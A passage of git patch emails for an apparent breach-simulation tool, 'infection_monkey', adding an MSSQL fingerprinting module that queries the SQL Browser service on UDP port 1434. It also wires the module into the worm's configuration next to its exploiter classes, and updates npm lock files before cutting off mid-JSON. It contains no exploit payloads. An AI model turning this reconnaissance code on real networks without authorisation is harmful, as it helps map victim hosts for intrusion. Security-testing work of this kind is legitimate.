From 293c204dddb7fcd184efdab3c21506564a6f42a9 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 17:51:46 +0300 Subject: [PATCH 01/22] Created the MSSQL_fingerprinter branch, added the fingerprint class WIP. --- infection_monkey/network/mssql_fingerprint.py | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 infection_monkey/network/mssql_fingerprint.py diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py new file mode 100644 index 000000000..bbe762e27 --- /dev/null +++ b/infection_monkey/network/mssql_fingerprint.py @@ -0,0 +1,67 @@ +import logging +import socket + +from model.host import VictimHost +from network import HostFinger +from .tools import struct_unpack_tracker, struct_unpack_tracker_string + + +LOG = logging.getLogger(__name__) + + +class MSSQLFingerprint(HostFinger): + + def __init__(self): + self._config = __import__('config').WormConfiguration + + def get_host_fingerprint(self, host): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service. + Args: + host (str): Hostname or IP address of the SQL Server to query for information. + + Returns: + Discovered server information written to the Host info struct. + """ + + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(timeout) + server_address = (str(host), browser_port) + + if instance_name: + # The message is a CLNT_UCAST_INST packet to get a single instance + # https://msdn.microsoft.com/en-us/library/cc219746.aspx + message = '\x04{0}\x00'.format(instance_name) + else: + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' + + # Encode the message as a bytesarray + message = message.encode() + + # send data and receive response + results = [] + try: + logging.info('Sending message to requested host: {0}, {1}'.format(host, message)) + sock.sendto(message, server_address) + data, server = sock.recvfrom(buffer_size) + except socket.timeout: + logging.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + return results + + # Loop through the server data + for server in data[3:].decode().split(';;'): + server_info = OrderedDict() + instance_info = server.split(';') + + if len(instance_info) > 1: + for i in range(1, len(instance_info), 2): + server_info[instance_info[i - 1]] = instance_info[i] + + results.append(server_info) + + # Close the socket + sock.close() + + return results From 8b22a520066ed6a45cb37270ce77b40d56a1d117 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:16:39 +0300 Subject: [PATCH 02/22] Added the mssql finger class to the main network init file so it will be usable. --- infection_monkey/network/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py index a1df9d2e9..15c3166aa 100644 --- a/infection_monkey/network/__init__.py +++ b/infection_monkey/network/__init__.py @@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger from mysqlfinger import MySQLFinger from info import local_ips from info import get_free_tcp_port +from mssql_fingerprint import MSSQLFingerprint \ No newline at end of file From d4c1871f87d2b0ae5d6f0974ec7bdd149ea7a6aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:23:08 +0300 Subject: [PATCH 03/22] Implemented the first draft of the mssql fingerprint class Every line of code is documented and straight forward. --- infection_monkey/network/mssql_fingerprint.py | 39 ++++++++++--------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index bbe762e27..51f5e25b0 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -3,7 +3,6 @@ import socket from model.host import VictimHost from network import HostFinger -from .tools import struct_unpack_tracker, struct_unpack_tracker_string LOG = logging.getLogger(__name__) @@ -11,6 +10,12 @@ LOG = logging.getLogger(__name__) class MSSQLFingerprint(HostFinger): + # Class related consts + SQL_BROWSER_DEFAULT_PORT = 1434 + BUFFER_SIZE = 4096 + TIMEOUT = 5 + SERVICE_NAME = 'mssql' + def __init__(self): self._config = __import__('config').WormConfiguration @@ -23,19 +28,16 @@ class MSSQLFingerprint(HostFinger): Discovered server information written to the Host info struct. """ + assert isinstance(host, VictimHost) + # Create a UDP socket and sets a timeout sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(timeout) - server_address = (str(host), browser_port) + sock.settimeout(self.TIMEOUT) + server_address = (str(host), self.SQL_BROWSER_DEFAULT_PORT) - if instance_name: - # The message is a CLNT_UCAST_INST packet to get a single instance - # https://msdn.microsoft.com/en-us/library/cc219746.aspx - message = '\x04{0}\x00'.format(instance_name) - else: - # The message is a CLNT_UCAST_EX packet to get all instances - # https://msdn.microsoft.com/en-us/library/cc219745.aspx - message = '\x03' + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' # Encode the message as a bytesarray message = message.encode() @@ -43,23 +45,22 @@ class MSSQLFingerprint(HostFinger): # send data and receive response results = [] try: - logging.info('Sending message to requested host: {0}, {1}'.format(host, message)) + LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) sock.sendto(message, server_address) - data, server = sock.recvfrom(buffer_size) + data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - logging.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + sock.close() return results + host.services[self.SERVICE_NAME] = {} + # Loop through the server data for server in data[3:].decode().split(';;'): - server_info = OrderedDict() instance_info = server.split(';') - if len(instance_info) > 1: for i in range(1, len(instance_info), 2): - server_info[instance_info[i - 1]] = instance_info[i] - - results.append(server_info) + host.services[self.SERVICE_NAME][instance_info[i - 1]] = instance_info[i] # Close the socket sock.close() From fadafdbd3ade5c16652a238c38f08d9d201e6c75 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 18:23:54 +0300 Subject: [PATCH 04/22] Updated the config files to default include the mssql fingerfrint class: MSSQLFingerprinter, in the monkey's configuration. --- infection_monkey/config.py | 3 ++- infection_monkey/example.conf | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 7bd651965..5be1394c0 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -8,7 +8,8 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter -from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger +from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ + MSSQLFingerprint __author__ = 'itamar' diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1baed66f2..5889b68d3 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -44,6 +44,7 @@ "HTTPFinger", "SMBFinger", "MySQLFinger", + "MSSQLFingerprint", "ElasticFinger" ], "max_iterations": 3, From 1272700fe5283922318db5bb815d7fb2e01faec5 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sat, 9 Jun 2018 20:02:18 +0300 Subject: [PATCH 05/22] * Added an author mark and updated docs * Changed the module to use the VictimHost object as host * added True\False return statements. --- infection_monkey/network/mssql_fingerprint.py | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 51f5e25b0..ab17ecb3b 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -4,6 +4,7 @@ import socket from model.host import VictimHost from network import HostFinger +__author__ = 'Maor Rayzin' LOG = logging.getLogger(__name__) @@ -21,11 +22,12 @@ class MSSQLFingerprint(HostFinger): def get_host_fingerprint(self, host): """Gets Microsoft SQL Server instance information by querying the SQL Browser service. - Args: - host (str): Hostname or IP address of the SQL Server to query for information. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. - Returns: + :returns: Discovered server information written to the Host info struct. + True if success, False otherwise. """ assert isinstance(host, VictimHost) @@ -33,7 +35,7 @@ class MSSQLFingerprint(HostFinger): # Create a UDP socket and sets a timeout sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(self.TIMEOUT) - server_address = (str(host), self.SQL_BROWSER_DEFAULT_PORT) + server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) # The message is a CLNT_UCAST_EX packet to get all instances # https://msdn.microsoft.com/en-us/library/cc219745.aspx @@ -43,7 +45,6 @@ class MSSQLFingerprint(HostFinger): message = message.encode() # send data and receive response - results = [] try: LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) sock.sendto(message, server_address) @@ -51,7 +52,7 @@ class MSSQLFingerprint(HostFinger): except socket.timeout: LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() - return results + return False host.services[self.SERVICE_NAME] = {} @@ -59,10 +60,13 @@ class MSSQLFingerprint(HostFinger): for server in data[3:].decode().split(';;'): instance_info = server.split(';') if len(instance_info) > 1: + host.services[self.SERVICE_NAME][instance_info[1]] = {} for i in range(1, len(instance_info), 2): - host.services[self.SERVICE_NAME][instance_info[i - 1]] = instance_info[i] + # Each instance's info is nested under its own name, if there are multiple instances + # each will appear under its own name + host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] # Close the socket sock.close() - return results + return True From d312a3a77146d40d8096e74e81bf581a8854e365 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 12 Jun 2018 13:26:28 +0300 Subject: [PATCH 06/22] * Changed name from MSSQLFingerprint to MSSQLFinger to match convention. * Added UI support for the new fingerprint in Monkey Island. * UI supports includes writing up MSSQL as a service under node's services list. --- infection_monkey/config.py | 2 +- infection_monkey/network/__init__.py | 2 +- infection_monkey/network/mssql_fingerprint.py | 4 ++-- monkey_island/cc/services/config.py | 9 +++++++++ 4 files changed, 13 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 1eacaef58..3472c63a8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -9,7 +9,7 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ - MSSQLFingerprint + MSSQLFinger __author__ = 'itamar' diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py index 15c3166aa..fa15e357c 100644 --- a/infection_monkey/network/__init__.py +++ b/infection_monkey/network/__init__.py @@ -27,4 +27,4 @@ from elasticfinger import ElasticFinger from mysqlfinger import MySQLFinger from info import local_ips from info import get_free_tcp_port -from mssql_fingerprint import MSSQLFingerprint \ No newline at end of file +from mssql_fingerprint import MSSQLFinger \ No newline at end of file diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ab17ecb3b..70f4f2369 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -9,13 +9,13 @@ __author__ = 'Maor Rayzin' LOG = logging.getLogger(__name__) -class MSSQLFingerprint(HostFinger): +class MSSQLFinger(HostFinger): # Class related consts SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 TIMEOUT = 5 - SERVICE_NAME = 'mssql' + SERVICE_NAME = 'MSSQL' def __init__(self): self._config = __import__('config').WormConfiguration diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 390968a86..2887bf5a3 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -121,6 +121,14 @@ SCHEMA = { ], "title": "MySQLFinger" }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + { "type": "string", "enum": [ @@ -367,6 +375,7 @@ SCHEMA = { "PingScanner", "HTTPFinger", "MySQLFinger", + "MSSQLFinger", "ElasticFinger" ], "description": "Determines which classes to use for fingerprinting" From db6f44109b6b8d8c5d86186287b3c4adc1311b4e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 12 Jun 2018 16:29:27 +0300 Subject: [PATCH 07/22] * Responding to the PR comments with the logs and usage changes. --- infection_monkey/config.py | 2 +- infection_monkey/network/mssql_fingerprint.py | 8 +++++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 3472c63a8..6a01a7e29 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -146,7 +146,7 @@ class Configuration(object): max_iterations = 1 scanner_class = TcpScanner - finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] + finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 70f4f2369..9409c2255 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -50,15 +50,17 @@ class MSSQLFinger(HostFinger): sock.sendto(message, server_address) data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - LOG.error('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False host.services[self.SERVICE_NAME] = {} # Loop through the server data - for server in data[3:].decode().split(';;'): - instance_info = server.split(';') + instances_list = data[3:].decode().split(';;') + LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + for instance in instances_list: + instance_info = instance.split(';') if len(instance_info) > 1: host.services[self.SERVICE_NAME][instance_info[1]] = {} for i in range(1, len(instance_info), 2): From 20d4b3a642fa2688fded5c55152d75eaae3de72c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 16:05:12 +0300 Subject: [PATCH 08/22] Fix default config values --- infection_monkey/config.py | 4 ++-- infection_monkey/example.conf | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f4ca4e89e..eea600ff6 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -184,9 +184,9 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - subnet_scan_list = ['', ] + subnet_scan_list = [] - blocked_ips = ['', ] + blocked_ips = [] # TCP Scanner HTTP_PORTS = [80, 8080, 443, diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index bc0156d8a..45eed24a3 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -8,9 +8,9 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - "" + ], - "blocked_ips": [""], + "blocked_ips": [], "current_server": "41.50.73.31:5000", "alive": true, "collect_system_info": true, From 0173aaf3f65448d8923328523af49d708b1ef614 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 17:36:17 +0300 Subject: [PATCH 09/22] Update mocha Change color structure for edge - required by update --- monkey_island/cc/ui/package-lock.json | 206 ++++++------------ monkey_island/cc/ui/package.json | 2 +- .../cc/ui/src/components/pages/MapPage.js | 2 +- 3 files changed, 67 insertions(+), 143 deletions(-) diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 57cdfdc01..c7538ccc6 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -152,7 +152,7 @@ "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", "dev": true }, "array-find-index": { @@ -1564,9 +1564,9 @@ } }, "browser-stdout": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.0.tgz", - "integrity": "sha1-81HTKWnTL6XXpVZxVCY9korjvR8=", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", "dev": true }, "browserify-aes": { @@ -1906,13 +1906,10 @@ } }, "commander": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", - "dev": true, - "requires": { - "graceful-readlink": "1.0.1" - } + "version": "2.15.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", + "dev": true }, "commondir": { "version": "1.0.1", @@ -1996,7 +1993,7 @@ "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", "dev": true, "requires": { "core-util-is": "1.0.2", @@ -2011,7 +2008,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -2085,7 +2082,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", + "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", "requires": { "toggle-selection": "1.0.6" } @@ -2408,9 +2405,9 @@ "dev": true }, "diff": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-3.2.0.tgz", - "integrity": "sha1-yc45Okt8vQsFinJck98pkCeGj/k=", + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", "dev": true }, "doctrine": { @@ -3845,7 +3842,8 @@ "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "json-schema": { "version": "0.2.3", @@ -4346,7 +4344,7 @@ "glob": { "version": "7.1.2", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "integrity": "sha1-wZyd+aAocC1nhhI4SmVSQExjbRU=", "dev": true, "requires": { "fs.realpath": "1.0.0", @@ -4397,7 +4395,7 @@ "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==", + "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", "dev": true }, "globby": { @@ -4420,16 +4418,10 @@ "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", "dev": true }, - "graceful-readlink": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz", - "integrity": "sha1-TK+tdrxi8C+gObL5Tpo906ORpyU=", - "dev": true - }, "growl": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.9.2.tgz", - "integrity": "sha1-Dqd0NxXbjY3ixe3hd14bRayFwC8=", + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", "dev": true }, "hammerjs": { @@ -4560,7 +4552,7 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", + "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -4593,7 +4585,7 @@ "hosted-git-info": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.5.0.tgz", - "integrity": "sha512-pNgbURSuab90KbTqvRPsseaTxOJCZBD0a7t+haSN33piP9cCM4l0CqdzAif2hUqm716UovKB2ROmiabGAKVXyg==", + "integrity": "sha1-bWDjSzq7yDEwYsO3mO+NkBoHrzw=", "dev": true }, "html-comment-regex": { @@ -4678,7 +4670,7 @@ "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==" + "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI=" }, "icss-replace-symbols": { "version": "1.1.0", @@ -5553,28 +5545,6 @@ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.4.tgz", "integrity": "sha1-3MHXVS4VCgZABzupyzHXDwMpUOc=" }, - "lodash._baseassign": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/lodash._baseassign/-/lodash._baseassign-3.2.0.tgz", - "integrity": "sha1-jDigmVAPIVrQnlnxci/QxSv+Ck4=", - "dev": true, - "requires": { - "lodash._basecopy": "3.0.1", - "lodash.keys": "3.1.2" - } - }, - "lodash._basecopy": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._basecopy/-/lodash._basecopy-3.0.1.tgz", - "integrity": "sha1-jaDmqHbPNEwK2KVIghEd08XHyjY=", - "dev": true - }, - "lodash._basecreate": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-3.0.3.tgz", - "integrity": "sha1-G8ZhYU2qf8MRt9A78WgGoCE8+CE=", - "dev": true - }, "lodash._createcompounder": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash._createcompounder/-/lodash._createcompounder-3.0.0.tgz", @@ -5585,18 +5555,6 @@ "lodash.words": "3.2.0" } }, - "lodash._getnative": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/lodash._getnative/-/lodash._getnative-3.9.1.tgz", - "integrity": "sha1-VwvH3t5G1hzc3mh9ZdPuy6o6r/U=", - "dev": true - }, - "lodash._isiterateecall": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/lodash._isiterateecall/-/lodash._isiterateecall-3.0.9.tgz", - "integrity": "sha1-UgOte6Ql+uhCRg5pbbnPPmqsBXw=", - "dev": true - }, "lodash._root": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/lodash._root/-/lodash._root-3.0.1.tgz", @@ -5618,17 +5576,6 @@ "lodash._createcompounder": "3.0.0" } }, - "lodash.create": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/lodash.create/-/lodash.create-3.1.1.tgz", - "integrity": "sha1-1/KEnw29p+BGgruM1yqwIkYd6+c=", - "dev": true, - "requires": { - "lodash._baseassign": "3.2.0", - "lodash._basecreate": "3.0.3", - "lodash._isiterateecall": "3.0.9" - } - }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", @@ -5648,29 +5595,6 @@ "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, - "lodash.isarguments": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz", - "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo=", - "dev": true - }, - "lodash.isarray": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-3.0.4.tgz", - "integrity": "sha1-eeTriMNqgSKvhvhEqpvNhRtfu1U=", - "dev": true - }, - "lodash.keys": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-3.1.2.tgz", - "integrity": "sha1-TbwEcrFWvlCgsoaFXRvQsMZWCYo=", - "dev": true, - "requires": { - "lodash._getnative": "3.9.1", - "lodash.isarguments": "3.1.0", - "lodash.isarray": "3.0.4" - } - }, "lodash.memoize": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", @@ -5853,7 +5777,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -5945,7 +5869,7 @@ "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", "dev": true, "requires": { "brace-expansion": "1.1.8" @@ -5975,46 +5899,46 @@ } }, "mocha": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.3.tgz", - "integrity": "sha512-/6na001MJWEtYxHOV1WLfsmR4YIynkUEhBwzsb+fk2qmQ3iqsi258l/Q2MWHJMImAcNpZ8DEdYAK72NHoIQ9Eg==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-5.2.0.tgz", + "integrity": "sha512-2IUgKDhc3J7Uug+FxMXuqIyYzH7gJjXECKe/w43IGgQHTSj3InJi+yAA7T24L9bQMRKiUEHxEX37G5JpVUGLcQ==", "dev": true, "requires": { - "browser-stdout": "1.3.0", - "commander": "2.9.0", - "debug": "2.6.8", - "diff": "3.2.0", + "browser-stdout": "1.3.1", + "commander": "2.15.1", + "debug": "3.1.0", + "diff": "3.5.0", "escape-string-regexp": "1.0.5", - "glob": "7.1.1", - "growl": "1.9.2", + "glob": "7.1.2", + "growl": "1.10.5", "he": "1.1.1", - "json3": "3.3.2", - "lodash.create": "3.1.1", + "minimatch": "3.0.4", "mkdirp": "0.5.1", - "supports-color": "3.1.2" + "supports-color": "5.4.0" }, "dependencies": { - "glob": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.1.tgz", - "integrity": "sha1-gFIR3wT6rxxjo2ADBs31reULLsg=", + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "ms": "2.0.0" } }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, "supports-color": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.1.2.tgz", - "integrity": "sha1-cqJiiU2dQIuVbKBf83su2KbiotU=", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": 